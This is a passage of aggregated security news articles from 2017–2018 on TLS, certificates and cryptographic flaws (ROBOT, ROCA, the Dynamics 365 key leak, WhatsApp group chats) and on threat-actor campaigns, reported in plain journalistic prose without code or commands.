The first Internet-Draft dates back to April 2014, in January it was presented the 23 and will expire on July 9, 2018.

One of the most debated problems when dealing with TLS is the role of so-called middleboxes, many companies need to inspect the traffic for security purposes and TLS 1.3 makes it very hard.

“The reductive answer to why TLS 1.3 hasn’t been deployed yet is middleboxes: network appliances designed to monitor and sometimes intercept HTTPS traffic inside corporate environments and mobile networks. Some of these middleboxes implemented TLS 1.2 incorrectly and now that’s blocking browsers from releasing TLS 1.3. However, simply blaming network appliance vendors would be disingenuous.” reads a blog post published by Cloudflare in December that explained the difficulties of mass deploying for the TLS 1.3.

According to the tests conducted by the IETF working group in December 2017, there was around a 3.25 percent failure rate of TLS 1.3 client connections.

TLS 1.3 will deprecate old cryptographic algorithms entirely, this is the best way to prevent the exploiting of vulnerabilities that affect the protocol and that can be mitigated only when users implement a correct configuration.

In the last few years, researchers discovered several critical issues in the protocol that have been exploited in attacks.

OpenSSL maintainers have completely redesigned the OpenSSL random number generator in the new version.

The new OpenSSL release also includes the implementation for SHA3 and multi-prime RSA, and the support for the SipHash set of pseudorandom functions.


Dispel Launches Election Security Platform
16.2.2018 securityweek Krypto

Dispel, a U.S.-based company that specializes in secure communication and collaboration systems, on Thursday announced the launch of a new product designed to help protect elections against malicious cyber actors.

According to Dispel, the new solution, which consists of its Election Cyber Defense System (ECDS) and a hardware device named ECDS Wicket, is capable of protecting the integrity of voter, ballot and campaign information. The company says its product can be easily installed even by a novice with only five minutes of training.

The election security platform is designed to automatically tunnel sensitive voting data and ensure that databases and networks cannot be located and attacked by malicious actors. The ECDS Wicket, which needs to be plugged into the reporting center computer, protects communications with two layers of AES-256 encryption with independent 4096-bit RSA keys for the initial exchange.

The device links the reporting center computer to a siloed dataroom where voting data is uploaded. Each dataroom is located in a network protected by Dispel’s Moving Target Defense technology. When the ECDS system is active, the reporting center computer can no longer transmit data to the Internet and can only communicate with election-related sites.

The platform has different systems that can help secure specific voting and campaign-related operations, including voter rolls, vote tabulation, and campaign communications.

For example, when voter rolls are changed, state officials connect with reporting officials through a secure video conferencing page to confirm the identity of the reporting official before granting them access to change the roll. Every change made to the roll is logged and stored in a secure location.

The tabulation system is designed to ensure that voting data is safely transmitted and stored. As for protecting campaign communications, Dispel provides what it calls the Campaign Comms Enclave, which includes secure video conferencing, telephony, messaging, file sharing, VPN, research stations, and logging capabilities for a flat fee of $2,500 per month, $7,500 per quarter, or $25,000 annually.

The voter roll and vote tabulation systems are priced based on the number of Wicket devices, voter rolls, access terminals, and reporting centers needed.

U.S. intelligence officials are convinced that Russia interfered in the 2016 presidential election and they have warned that it will likely attempt to meddle in this year’s midterm elections as well. Threat groups from Russia and other countries could try to interfere and experts warned recently that voting machines and other systems used in the election are vulnerable to hacker attacks.

Dispel told SecurityWeek that it has yet to make any deals with the U.S. government regarding the use of its product at the upcoming elections.

Democrats on Wednesday asked Congress for more than $1 billion in grants for boosting election security, and a product such as the one offered by Dispel could be taken into consideration for protecting votes.

Dispel is also offering its product to governments outside the U.S., but it has yet to actively promote it.


Actor Targeting Middle East Shows Excellent OPSEC
9.2.2018 securityweek  Krypto
An actor making extensive use of scripting languages in attacks on targets in the Middle East demonstrates excellent operational security (OPSEC), researchers from Talos say.

As part of these targeted attacks allegedly confidential decoy documents supposedly written by the Jordanian publishing and research house Dar El-Jaleel were used, as well as VBScript, PowerShell, and VBA scripts that would dynamically load and execute functions retrieved from a command and control (C&C) server.

The threat actor(s) was particularly careful to camouflage the infrastructure and used several reconnaissance scripts to check the validity of victim machines. The actor was observed blocking systems that didn't meet their criteria, filtering connections based on their User-Agent strings, and hosting the infrastructure on CloudFlare.

Attacks start with a VBScript designed to create a second stage PowerShell script that would create a Microsoft Office document and to open it. The document was purportedly written by Dar El-Jaleel, an institute well-known for their research of the Palestinian-Israeli conflict and the Sunni-Shia conflict in Iran.

Supposedly a confidential analysis report on Iranian activities within the Syrian civil war, the document contains a macro designed to create a WSF (Windows Script File) file and to execute it. The WSF script, Talos discovered, is the main part of the infection and contains a User-Agent used to identify the targets.

The script first registers the infected system with a command and control server and executes an infinite loop, trying to contact the /search URI every 5 seconds to download and execute payloads.

These payloads are of three types, but all are VBScript functions loaded and executed on the fly using the ExecuteGlobal() and GetRef() APIs, differentiated by the number of arguments supplied: none, one, or two. The security researchers received five different functions, all obfuscated.

A reconnaissance function was received a few minutes after the initial compromise, meant to retrieve information from the infected system: disk volume serial number, installed anti-virus software, Internet IP address, computer name, username, Operating System, and architecture. All data is sent to the C&C. A second reconnaissance function was used to list the drives of the system and their type.

Two functions meant to achieve persistence for the WSF script were received as well: one script was used to persist, while the second was meant to clean the infected system.

The system also received a pivot function, which was meant to execute a PowerShell script. In turn, the script would execute a second base64 encoded script.

One last PowerShell script served to the system was meant to download shellcode from 176[.]107[.]185[.]246 IP, map it in memory, and execute it. While the shellcode wasn’t retrieved during investigation, the process revealed the many precautions the attacker takes before delivering the payload.

The attacker’s C&C is protected by CloudFlare, which makes it difficult to track and analyze the campaign. The researchers noticed that the actor was active during the morning (Central European Time zone), and that payloads were only sent during that time.

Furthermore, the attacker’s server becomes unreachable after serving the shellcode (the firewall is disabled for a few minutes to allow the download to go through). The actor was also observed blacklisting some of the researchers’ specific User-Agent strings and IP addresses.

“This high level of OPSEC is exceptional even among presumed state sponsored threat actors,” Talos notes.

The VBScript used during this campaign shows similarities to Jenxcus (also known as Houdini/H-Worm), but the researchers are not sure whether the actor used “new version of Jenxcus or if this malware served as the inspiration for their own malicious code.”

While Jenxcus’ source code is available on the Internet, the adaptation observed in these attacks is more advanced, with the functions loaded on demand and the initial script including only parts of the code, not all of it.

The security researchers were also able to identify different targets based on the User-Agent and say that targeted campaigns using Dar El-Jaleel decoy documents were observed before. In fact, the same decoy documents were observed in several attacks in 2017, but it is not clear if the same actor is behind all of them.

“These campaigns show us that at least one threat actor is interested in and targeting the Middle East. Due to the nature of the decoy documents, we can conclude that the intended targets have an interest in the geopolitical context of the region,” Talos notes.


TLS-Abusing Covert Data Channel Bypasses Network Defenses
6.2.2018 securityweek Krypto
Researchers from Fidelis Cybersecurity have discovered a new method of abusing the X.509 public key certificates standard for covert channel data exchange following initial system compromise.

The standard is used in both Transport Layer Security (TLS) and Secure Sockets Layer (SSL) cryptographic Internet protocol implementations, but the manner in which the certificates are exchanged can be abused to hijack them for command and control (C&C) communication, the researchers say.

The X.509 extensions can be used for covert channel data transfer to bypass network protection methods that do not inspect certificate values, the researchers say. To date, no confirmed cases of this technique being abused have been observed, but the widespread use of certificates could put many organizations at risk, Fidelis researchers argue.

To demonstrate their theory, Fidelis Cybersecurity revealed a custom-built framework that serves as proof of concept. However, the researchers point out that detection is possible and that the community can implement protections to identify possible abuse of the covert channel data transfer mechanism.

The use of covert channels for data transfer across the network is not new, and the possible abuse of X.509 certificates for covert network communication was demonstrated before. In fact, the use of the TLS protocol to establish hidden communication channels was detailed a decade ago.

The new research (PDF) by Fidelis’ Jason Reaves into the use of X.509 extensions for covert channel purposes expands on the previous findings to describe a system that could be used to send or receive data from both a client and a server perspective.

Using previous demonstrations that arbitrary data can be placed into X.509 certificates and that these certs can be used as a covert channel, the researcher argues that a sufficiently motivated attacker could “utilize technologies outside of their intended purposes to not only accomplish their goals but also end up bypassing common security measures in the process.”

Reaves analyzed X.509 certificate extensions, which “provide methods for associating additional attributes with users or public keys and for managing relationships between CAs,” but which can be abused for malicious purposes due to ambiguity in the language, which led to relaxed implementations.

Because TLS X.509 certificates have a large number of fields where strings can be stored, actors can take advantage of this to hide data transfer inside one of these fields. The certificates are exchanged before the TLS session is established, meaning that the data transfer doesn’t show up, although it was performed within the certificate exchange itself.

“Testing shows that using this methodology for communication and control in malware will not result in anything beyond an SSL negotiation which could bypass common security mechanisms that are not looking for abnormal data being passed in X.509 certificates,” Reaves says.

Fidelis also came up with a proof of concept to show that file transfer using the X.509 covert channel would be possible. For their demonstration, they chose to simulate a threat actor transferring the password stealing tool Mimikatz to a compromised system.


A security issue in WhatsApp potentially allows attackers to eavesdrop on encrypted Group chats
11.1.2017 securityaffairs  Krypto

An attacker can secretly eavesdrop on your private end-to-end encrypted group chats on WhatsApp, Threema and Signal messaging apps.
Even if the messaging services implement end-to-end encryption, an attacker or someone in the company that provides the service can decrypt your messages.

A Group of researchers from Ruhr-Universität Bochum (RUB) in Germany discovered that anyone who controls WhatsApp/Signal servers can covertly add new members to any private group without permission of the administrator, with this trick it is possible to spy on group conversations.

In case of multi-user chats, the servers manage the entire communication process.

“Contrary to classical multi-user chats, for example, to IRC in which all members are online, groups in IM protocols must work in asynchronous settings; Groups must be createable and messages must be deliverable even if some group members are offline” reads the paper published by the researchers, titled “More is Less: On the End-to-End Security of Group Chats in Signal, WhatsApp, and Threema,”

“We observed two shortcomings in the design of WhatsApp’s group protocol that allow to (1) burgle into a group and to (2) forge acknowledgments. The shortcomings have similar results as the attacks on Signal, although the underlying protocol and exploitation differ”

The experts discovered that both Signal and WhatsApp fail to properly authenticate an entity that is adding a new member to the group, this means that an unauthorized user that is not a group administrator or even a member of the group can add a member to the group conversations.

Experts also discovered that it is possible to add a new member without notifying the action to other members, this is possible because a rogue admin or employee with access to the server could manipulate (or block) the group management messages.

The abilities to burgle into a group and to forge acknowledgments could be chained to allow an attacker who controls the WhatsApp server or can break the transport layer security to fully control group activities.

“The described weaknesses enable attacker A, who controls the WhatsApp server or can break the transport layer security, to take full control over a group. Entering the group, however, leaves traces since this operation is listed in the graphical user interface. The WhatsApp server can therefore use the fact that it can stealthily reorder and drop messages in the group,” explained the researchers.

“Thereby it can cache sent messages to the group, read their content first and decide in which order they are delivered to the members. Additionally, the WhatsApp server can forward these messages to the members individually such that a subtly chosen combination of messages can help it to cover the traces.”

According to WhatsApp, the situation is quite different because if any new member is added to a group other group members will receive a notification.

“We’ve looked at this issue carefully. Existing members are notified when new people are added to a WhatsApp group. We built WhatsApp so group messages cannot be sent to a hidden user,” a WhatsApp spokesperson told Wired.

“The privacy and security of our users is incredibly important to WhatsApp. It’s why we collect very little information and all messages sent on WhatsApp are end-to-end encrypted.”

The RUB team also provide recommendations to the companies that are suggested to solve the issue by adding an authentication mechanism to group management messages, in this way only legitimate administrators can manage the activities of multi chats.

The Ruhr University researchers reported findings of their investigation to WhatsApp in July, in response to their report, WhatsApp fixed one problem with a feature of their encryption that made it harder to crack future messages even after an attacker obtained one decryption key.

“But they told the researchers the group invitation bug they’d found was merely “theoretical” and didn’t even qualify for the so-called bug bounty program run by Facebook, WhatsApp’s corporate owner, in which security researchers are paid for reporting hackable flaws in the company’s software.” continues Wired.

As said the experts also investigated Threema and Signal.

For Threema, the researchers found minor flaws, an attacker who controls the server can replay messages or add users to a group who have been removed. Once informed of the issues, Threema released a version to address the issues.

For Signal the attack is more difficult because the attacker would have to not only control the Signal server but also know an unguessable number called the Group ID. This means that to carry on the attack it is necessary the knowledge of the Group ID that can be obtained from one of the group member’s devices, in this case, the group is likely already compromised.


Facebook Releases New Certificate Transparency Tools
15.12.2017 securityweek Krypto 
Social
Following the release of the Certificate Transparency Monitoring utility in December 2016, Facebook has decided to release new tools for developers using the Certificate Transparency framework.

Last year’s tool was designed to provide access to data collected through Facebook’s own service monitoring the issuance of TLS certificates. It leverages Google’s Certificate Transparency (CT) framework, which can detect mis-issued TLS certificates and stop attempts to leverage them to intercept HTTPS traffic.

The tool allows developers to search for certificates and receive alerts when a new certificate is issued for their domains. The tool ensures that newly issued certificates that have been logged to Certificate Transparency Logs (CT logs) aren’t mis-used to perform man-in-the-middle attacks.

With hundreds of Certificate Authorities (CAs) issuing publicly-trusted TLS certificates for any website out there, a single breach at any CA could result in the mis-issuance of publicly-trusted TLS certificates, the company says.

“We match every new certificate with a set of domain subscriptions in our system, and we notify respective subscribers about the updates. If a domain owner receives a notification that a CA issued a certificate for their domain without an explicit request, they will likely want to contact the CA, make sure their identity is not compromised, and consider revoking the certificate,” Facebook explains.

To provide push-based integrations with its system, Facebook is now releasing Webhooks API, which allows developers to register a webhook and define domains for monitoring instead of periodically pulling certificates from external sources or waiting for notifications. Each time a new certificate is issued for these domains, information about the cert is sent to the developer-specified endpoint.

Additionally, the social media giant announced the release of an API that helps querying certificates programmatically. Since receiving detailed information about the certificates and analyzing millions without proper infrastructure is difficult, the interface was designed to provide certificates metadata for the domain names that match a given query.

Developers taking advantage of the Certificate Transparency features were being initially notified via email on new certificates issued for their domains. Starting this year, everyone can see certificate updates on Facebook via push notifications and all developers creating a subscription at developers.facebook.com/tools/ct can take advantage of this feature.

Facebook is currently monitoring over 20 publicly available CT logs and says it sends around 2,500 notifications every day. Around 40,000 new certificates are observed in CT logs every hour and that number is expected to grow next year, when Google Chrome will start requiring all websites certificates to be logged in the CT logs. To ensure scalability, the same backend system that powers the Facebook Graph is used to search through the logged certificates.

The social network company also notes that they are currently working on implementing Expect-CT header, meaning that compatible browsers will require that certificates used to access Facebook are logged to public CT logs first.


Google Details How It Protects Data Within Its Infrastructure
14.12.2017 securityweek Krypto
Google has decided to share detailed information on how it protects service-to-service communications within its infrastructure at the application layer and the the system it uses for data protection.

Called Application Layer Transport Security (ALTS), the technology was designed to authenticate communication between Google services and keep data protected while in transit. When sent to Google, data is protected using secure communication protocols such as TLS (Transport Layer Security).

According to the Web search giant, it started development of ALTS in 2007, when TLS was bundled with support protocols that did not satisfy the company’s minimum security standards. Thus, the company found it more suitable to design its own security solution than patch an existing system.

More secure than older TLS, Google describes ALTS as “a highly reliable, trusted system that provides authentication and security for […] internal Remote Procedure Call (RPC) communications,” that ensures security within the company’s infrastructure.

The system, Google explains, requires minimal involvement from the services themselves, as data is protected by default. All RPCs issued or received by a production workload are protected by ALTS by default, as long as they stay within a physical boundary controlled by or on behalf of Google.

According to Google, the ALTS configuration is transparent to the application layer; all cryptographic primitives and protocols used by ALTS are up-to-date with current known attacks; ALTS performs authentication primarily by identity rather than host name; the system relies on each workload having an identity, which is expressed as a set of credentials; after an initial ALTS handshake, connections can be persisted for a longer time to improve overall system performance; ALTS is considerably simpler than TLS as Google controls both clients and servers, the company also says.

Benefits of ALTS also include more precise security. Workloads that run on the same machine can authenticate using their own identity rather than the machine’s identity, Google explains in a whitepaper detailing the system. Overhead of potentially expensive cryptographic operations is reduced with ALTS.

ALTS also offers improved scalability, courtesy of an efficient resumption mechanism embedded in its handshake protocol. The system can also accommodate authentication and encryption needs for a large number of RPCs (services on Google production systems collectively issue on the order of O(1010) RPCs per second), the company says.

The system also includes a wide array of features designed to ensure security and scalability, and features a flexible trust model suited for different types of entities on the network (physical machines, containerized workloads, and even human users).

Within Google’s infrastructure, all scheduled production workloads are initialized with a certificate that is securely delivered and which asserts their identity. The remote peer identity and certificate are verified when a workload is involved in an ALTS handshake. Certificates have a relatively short lifespan.

ALTS uses a Diffie-Hellman (DH) based authenticated key exchange protocol for handshakes and provides applications with an authenticated remote peer identity that can be used for fine-grained authorization policies at the application layer, the company explains.

“After a handshake is complete and the client and server negotiate the necessary shared secrets, ALTS secures RPC traffic by forcing integrity, and optional encryption, using the negotiated shared secrets. We support multiple protocols for integrity guarantees, e.g., AES-GMAC and AES-VMAC with 128-bit keys,” Google says.

When traffic leaves a physical boundary controlled by or on behalf of Google, protocols are automatically upgraded to ensure encryption and integrity. AES-GCM and AES-VCM protocols with 128-bit keys are employed in such cases, the company also explains.


ROBOT Attack: RSA TLS crypto attack worked against Facebook, PayPal, and tens of 100 top domains
13.12.2017 securityaffairs Krypto

ROBOT ATTACK – Security experts have discovered a 19-year-old flaw in the TLS network security protocol that affects many software worldwide.
The security researchers Hanno Böck and Juraj Somorovsky of Ruhr-Universität Bochum/Hackmanit, and Craig Young of Tripwire VERT, have discovered a 19-year-old vulnerability in the TLS network security protocol in the software several tech giants and open-source projects.

The flaw in RSA PKCS #1 v1.5 encryption affects the servers of 27 of the top 100 web domains, including Facebook and PayPal, it could be exploited by an attacker to decrypt encrypted communications.

The researchers dubbed the flaw ROBOT, which stands for Return Of Bleichenbacher’s Oracle Threat.

“ROBOT is the return of a 19-year-old vulnerability that allows performing RSA decryption and signing operations with the private key of a TLS server.” the researchers explained.

“In 1998, Daniel Bleichenbacher discovered that the error messages given by SSL servers for errors in the PKCS #1 1.5 padding allowed an adaptive-chosen ciphertext attack; this attack fully breaks the confidentiality of TLS when used with RSA encryption.

We discovered that by using some slight variations this vulnerability can still be used against many HTTPS hosts in today’s Internet.”

Today we are still discussing the ROBOT attack because the mitigations drawn up at the time were not enough and many software vendors did not properly implement these protections.

“The real underlying problem here is that the protocol designers decided (in 1999) to make workarounds for using an insecure technology rather than replace it with a secure one as recommended by Bleichenbacher in 1998.” said Young.

ROBOT ATTACK

This ROBOT attack could allow attackers to decrypt RSA ciphertexts without recovering the server’s private key as explained in a security advisory published by CISCO.

“An attacker could iteratively query a server running a vulnerable TLS stack implementation to perform cryptanalytic operations that may allow decryption of previously captured TLS sessions.” states the advisory published by Cisco.

“To exploit this vulnerability, an attacker must be able to perform both of the following actions:

Capture traffic between clients and the affected TLS server.
Actively establish a considerable number of TLS connections to the vulnerable server. The actual number of connections required varies with the implementation-specific vulnerabilities, and could range from hundreds of thousands to millions of connections.”
Fortunately, the vulnerability affects only 2.8% of the top million websites, this small value is due to the fact that the affected library is mainly used for expensive commercial products that are often used to enforce security controls on popular websites.

Similar issues exist in XML Encryption, PKCS#11 interfaces, Javascript Object Signing and Encryption (JOSE), and Cryptographic Message Syntax / S/MIME.

As a proof-of-concept for the ROBOT attack, the experts have demonstrated practical exploitation by signing a message with the private key of facebook.com’s HTTPS certificate.

Facebook was using a patched version of OpenSSL for its vulnerable servers, according to the tech giant the issue was caused by custom patches applied by the company.

Facebook has patched its servers before the disclosure of the paper on the ROBOT attack.

Several vendors have fixes pending, the following list includes patches that are already available.

F5 BIG-IP SSL vulnerability CVE-2017-6168
Citrix TLS Padding Oracle Vulnerability in Citrix NetScaler Application Delivery Controller (ADC) and NetScaler Gateway CVE-2017-17382
Radware Security Advisory: Adaptive chosen-ciphertext attack vulnerability CVE-2017-17427
Cisco ACE End-of-Sale and End-of-Life CVE-2017-17428
Bouncy Castle Fix in 1.59 beta 9, Patch / Commit CVE-2017-13098
Erlang OTP 18.3.4.7, OTP 19.3.6.4, OTP 20.1.7 CVE-2017-1000385
WolfSSL Github PR / patch CVE-2017-13099
MatrixSSL Changes in 3.8.3 CVE-2016-6883
Java / JSSE Oracle Critical Patch Update Advisory – October 2012 CVE-2012-5081
According to Young, the most interesting attack scenarios see hackers having access to the target’s network traffic, a position that could be obtained by an attacker exploiting the KRACK attack to target a Wi-Fi connection.

The impact of ROBOT attacks is severe, an attacker can steal sensitive and confidential data, including passwords, credit card data, and other sensitive details.

The experts released a python tool to scan for vulnerable hosts so everyone can check his HTTPS server against ROBOT attack.

Researchers also included countermeasures in their paper, they recommend to deprecate the RSA encryption key exchange in TLS and the PKCS #1 v1.5 standard.

“We can therefore conclude that there is insufficient testing of modern TLS implementations for old vulnerabilities. The countermeasures in the TLS standard to Bleichenbacher’s attack are incredibly complicated and grew more complex over time. It should be clear that this was not a viable strategy to avoid these vulnerabilities.
The designers of TLS 1.3 have already decided to deprecate the RSA encryption
key exchange. However, as long as compatibility with RSA encryption
cipher suites is kept on older TLS versions these attacks remain a problem.” concludes the research paper.

“To make sure Bleichenbacher attacks are finally resolved we recommend to fully
deprecate RSA encryption based key exchanges in TLS. For HTTPS we believe
this can be done today”


Microsoft accidentally exposed Dynamics 365 TLS certificates exposing sandbox environments to MiTM attacks
12.12.2017 securityaffairs Krypto

Microsoft accidentally exposed a Dynamics 365 TLS certificate and private key for at least 100 days leaving the sandbox environments open to MiTM attacks.
Data leakage continues to represent a serious problem for organizations, now it’s up to Microsoft that accidentally exposed a Dynamics 365 TLS certificate and private key for at least 100 days.

The software developer Matthias Gliwka discovered the issue while working with the cloud version of the Microsoft ERP system.

Microsoft started offering the ERP product last year, it is SaaS solution hosted in Azure and accessible through a comprehensive control panel (Life Cycle Services).

According to Gliwka, the TLS certificate was exposed in the Dynamics 365 sandbox environment that is used for user acceptance testing (also referred to as “sandbox”) .

The user acceptance system mirrors the setup of the production environment with a single exception, it offers administrative RDP access.

The expert accessed a sandbox environment via RDP to learn how Microsoft would set up a server hosting such a business critical application.

“The hostname for a sandbox environment is customername.sandbox.operations.dynamics.com. A quick glance at the certificates inside the built-in “Certificate Manager” revealed something shocking” wrote Gliwka on Medium.

“Sitting there in plain sight was a valid TLS certificate for the common name *.sandbox.operations.dynamics.com and the corresponding private key — by the courtesy of Microsoft IT SSL SHA2 CA! This certificate is shared across all sandbox environments, even those hosted for other Microsoft customers.”

The certificate is used encrypt the web traffic between the users and the server, extracting the certificate an attacker could s access to any sandbox environment.


Matthias Gliwka
@cerebuild
@msftsecresponse Reported a leaked TLS private key for a cloud product >45 days ago - still no response. Can you take a look? Case #40397

10:59 PM - Oct 4, 2017
1 1 Reply 2 2 Retweets 6 6 likes
Twitter Ads info and privacy
Gliwka reported the issue to Microsoft that took time to fix it, then he contacted German tech freelancer Hanno Böck to get coverage.
Böck tried filing a bug ticket with Mozilla’s bug tracker that triggered the Microsoft’s action.

The issue was solved on 5 December, months later it first notification on 17 August.


Microsoft Says ERP Product Private Key Leak Posed Little Risk
11.12.2017 securityweek Krypto
It took Microsoft more than 100 days to address a problem related to the use of the same digital certificate for all installations of its Dynamics 365 enterprise resource planning (ERP) product, but the company said the issue posed little risk.

Dynamics 365, a product hosted on Microsoft’s Azure cloud platform, has three main components: a production system, a development system, and a user acceptance testing system. The user acceptance system, also known as a sandbox, is a test environment that mimics the production system and allows remote access via RDP.

Developer Matthias Gliwka accessed the sandbox via RDP and noticed in the application’s Certificate Manager that it included a wildcard TLS certificate for the *.sandbox.operations.dynamics.com domain, along with its private key. The certificate, shared across all sandbox environments, had been issued by Microsoft’s own certificate authority (CA).

Since the certificate – for which the expert easily extracted the private key – had been used to encrypt traffic between users and the server, a man-in-the-middle (MitM) attacker in possession of the key could have intercepted data without raising any suspicion.

“The users of this user acceptance (sandbox) systems are high-value targets,” Gliwka explained in a blog post. “They are usually in key positions at the respective organization and have access to valuable information. The sandbox system itself often also contains sensitive information to make the tests more realistic. There is even a feature to copy the production database into the sandbox environment to enable this use case.”

Further analysis showed that all production systems used a wildcard certificate for the *.operations.dynamics.com domain. However, RDP access to production environments is not possible, making it more difficult to extract the certificate’s private key and launch an attack. Nevertheless, Gliwka believes this could have been achieved if the attacker had managed to find a code execution vulnerability on the server.

Microsoft told SecurityWeek that it has decided to update all sandbox and production environments to use unique certificates, but the company has described it as a “defense-in-depth” measure, claiming that “controls exist in production environments that render the described technique ineffective.”

While the issue may not have posed a big risk to Dynamics 365 users, Gliwka claims it took a lot of time to get Microsoft to take action. The developer reported his findings to Microsoft in mid-August, but the exposed wildcard certificates were only revoked in early December after German researcher and journalist Hanno Böck got involved and a ticket was opened on Mozilla’s bug tracker. Certificates whose private key has been compromised should normally be revoked within 24 hours.

Gliwka claims that during communications with Microsoft support, he was provided a phone number for the Marine Spill Response Corporation (MSRC), an oil spill and emergency response organization in the U.S., instead of contact information for the Microsoft Security Response Center (MSRC).


"Tick" Cyber Espionage Group Employs Steganography
9.11.2017 securityweek Krypto
The cyber espionage group known as "Tick" is using steganography to conceal their backdoor Trojan better, according to analysis from security firm Trend Micro.

Also referred to as Bronze Butler and REDBALDKNIGHT and believed to be based in China, the group is mainly targeting Japanese organizations, including biotechnology, electronics manufacturing, and industrial chemistry entities and government agencies. Although the first report on the group was published only last year, the hackers might have been active for at least a decade, Trend Micro's researchers say.

Malicious tools preferred by the threat actors include a downloader tracked as Gofarer and a data-stealing Trojan dubbed Daserf, which can execute shell commands and download and upload data. Now, Trend Micro says that variants of Daserf were used against entities outside Japan as well, including organizations in South Korea, Russia, Singapore, and China.

Furthermore, the security researchers say that various versions of Daserf employ different techniques and use steganography, which allows them to conceal themselves better by embedding codes in unexpected mediums or locations, such as images.

The hackers typically use spear phishing emails with attached malicious documents created using the Japanese word processor Ichitaro. These documents install and execute the Daserf backdoor on the victim’s machine.

Tick is believed to be regularly improving the Daserf Trojan to keep it under the radar.

Some malware variations also revealed that the group integrated steganography to conduct second-stage attacks and for command-and-control (C&C) communication. Through the use of steganography, the backdoor can not only bypass firewalls, but also change second-stage C&C communication or malware faster and more conveniently, Trend Micro says.

Daserf’s infection chain involves a downloader that retrieves the backdoor from a compromised site. After installation, the Trojan connects to another compromised site and downloads an image file, then connects to its C&C and awaits further commands.

The Tick hackers, Trend Micro notes, have been using steganography on other toolkits as well, namely xxmm2_builder and xxmm2_steganography. These are components of the XXMM downloader Trojan that can also be used as a first-stage backdoor. The researchers found that the same steganography algorithm was used on both XXMM and Daserf.

“Steganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data. And indeed, the routine is increasingly gaining cybercriminal traction, in varying degrees of proficiency—from exploit kits, malvertising campaigns, banking Trojans, and C&C communication to even ransomware. In the case of REDBALDKNIGHT’s campaigns, the use of steganography is further compounded by their use of malware that can better evade detection and analysis,” Trend Micro concludes.


"Tick" Cyber Espionage Group Employs Steganography
9.11.2017 securityweek Krypto
The cyber espionage group known as "Tick" is using steganography to conceal their backdoor Trojan better, according to analysis from security firm Trend Micro.

Also referred to as Bronze Butler and REDBALDKNIGHT and believed to be based in China, the group is mainly targeting Japanese organizations, including biotechnology, electronics manufacturing, and industrial chemistry entities and government agencies. Although the first report on the group was published only last year, the hackers might have been active for at least a decade, Trend Micro's researchers say.

Malicious tools preferred by the threat actors include a downloader tracked as Gofarer and a data-stealing Trojan dubbed Daserf, which can execute shell commands and download and upload data. Now, Trend Micro says that variants of Daserf were used against entities outside Japan as well, including organizations in South Korea, Russia, Singapore, and China.

Furthermore, the security researchers say that various versions of Daserf employ different techniques and use steganography, which allows them to conceal themselves better by embedding codes in unexpected mediums or locations, such as images.

The hackers typically use spear phishing emails with attached malicious documents created using the Japanese word processor Ichitaro. These documents install and execute the Daserf backdoor on the victim’s machine.

Tick is believed to be regularly improving the Daserf Trojan to keep it under the radar.

Some malware variations also revealed that the group integrated steganography to conduct second-stage attacks and for command-and-control (C&C) communication. Through the use of steganography, the backdoor can not only bypass firewalls, but also change second-stage C&C communication or malware faster and more conveniently, Trend Micro says.

Daserf’s infection chain involves a downloader that retrieves the backdoor from a compromised site. After installation, the Trojan connects to another compromised site and downloads an image file, then connects to its C&C and awaits further commands.

The Tick hackers, Trend Micro notes, have been using steganography on other toolkits as well, namely xxmm2_builder and xxmm2_steganography. These are components of the XXMM downloader Trojan that can also be used as a first-stage backdoor. The researchers found that the same steganography algorithm was used on both XXMM and Daserf.

“Steganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data. And indeed, the routine is increasingly gaining cybercriminal traction, in varying degrees of proficiency—from exploit kits, malvertising campaigns, banking Trojans, and C&C communication to even ransomware. In the case of REDBALDKNIGHT’s campaigns, the use of steganography is further compounded by their use of malware that can better evade detection and analysis,” Trend Micro concludes.


Experts Find Faster Way to Exploit Infineon Chip Crypto Flaw
8.11.2017 securityweek Krypto
A recently disclosed crypto-related vulnerability affecting some Infineon chips can be exploited in a shorter amount of time than initially believed, researchers demonstrated.

A team of experts from the Czech Republic, the U.K. and Italy showed recently that millions of products using chips from German semiconductor manufacturer Infineon Technologies are affected by a vulnerability related to a library responsible for generating RSA encryption keys.

The flaw, tracked as CVE-2017-15361 and dubbed ROCA (Return of the Coppersmith Attack), allows an attacker who knows the public key to obtain the private RSA key. Depending on what the product is used for, an attacker can use the compromised private key to impersonate legitimate users, decrypt messages, and forge software signatures.

Products affected by ROCA flaw

Microsoft, Google, HP, Lenovo, Fujitsu and other companies published advisories to warn customers of the risks. The flaw also impacts Gemalto’s IDPrime.NET smart cards, which are no longer sold by the firm but are still used by many organizations worldwide.

The vulnerability also affects Estonia’s national ID cards, which are also supplied by Gemalto. Estonia has decided to suspend roughly 760,000 ID cards, which are also used by citizens to vote, in response to the incident. The IDs used in other countries could be vulnerable as well, according to some reports.

Researchers said a 1024-bit RSA key can be cracked in 97 CPU days for a cost of $40-80 using an older Intel Xeon processor, and a 2048-bit key in 140 CPU years for a cost ranging between $20,000 and $40,000.

Estonia assured citizens that large-scale vote fraud would be too expensive to conduct – some estimated that the cost for hacking all ID cards would be roughly €60 billion ($70 billion) at a cost of approximately $80,000 per card.

However, researchers Daniel J. Bernstein and Tanja Lange pointed out over the weekend that the actual cost of obtaining the RSA keys was in reality much lower, even before they found a faster way to conduct an attack. Furthermore, they highlighted that vote fraud would not require all cards to be compromised as even 10% could make a difference.

The $80,000 estimate cited by Estonia refers to an initial algorithm used by the original authors of the research. They later managed to decrease costs to $20,000.

Bernstein and Lange attempted to conduct an attack using only the limited information made available by the original researchers. They not only managed to replicate the attack, but they also found a way to obtain a 2048-bit key 5-25% faster, which further reduces the cost of an attack.

Bernstein and Lange also noted that the issue with Infineon chips has actually been known since August 2016 and they are concerned that malicious actors may have been exploiting the flaw before the ROCA disclosure.

“Attackers could already have figured out the whole attack from [the 2016 research paper],” the experts said in a blog post. “Or attackers could have looked at Infineon keys on their own and found the same information. Our best guess is that serious attackers found the Infineon vulnerability years ago and have been quietly exploiting it since then.”


RSA Unveils New GDPR Compliance Offerings
18.10.2017 securityweek  Krypto
RSA Says GDPR is More About Evidence-based Process Than Technology

Europe's General Data Protection Regulation (GDPR) is, by name, just another information security compliance regulation requiring that organizations protect personal data from being stolen by hackers. As such, there should be little for organizations to do since most companies already do all they can to defend against breaches (albeit not always successfully). That, however, would be a total misunderstanding of this new regulation.

